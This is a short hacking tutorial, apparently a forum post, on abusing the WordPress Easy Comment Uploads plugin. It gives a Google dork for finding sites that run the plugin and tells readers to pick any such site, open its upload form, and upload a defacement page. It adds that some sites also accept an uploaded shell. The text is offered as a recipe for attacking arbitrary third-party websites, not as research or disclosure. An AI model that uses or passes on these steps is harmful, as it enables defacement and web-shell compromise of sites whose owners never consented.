WordPress Easy Comment Upload Vunerablity :

 Google Dork :
"inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php" 

Open Google and enter the  dork  Given, 
Now select any website 

and goto this url site.com/wp-content/plugins/easy-comment-uploads/upload-form.php

You'll Got Upload Option here :)

Now Upload Your Deface page ....

and check it here site.com/wp-content/uploads/2011/10/yourfilename.

Note: Different website support different option to upload like txt,jpg, jpeg .
            you can also upload your shell in some website .. :-)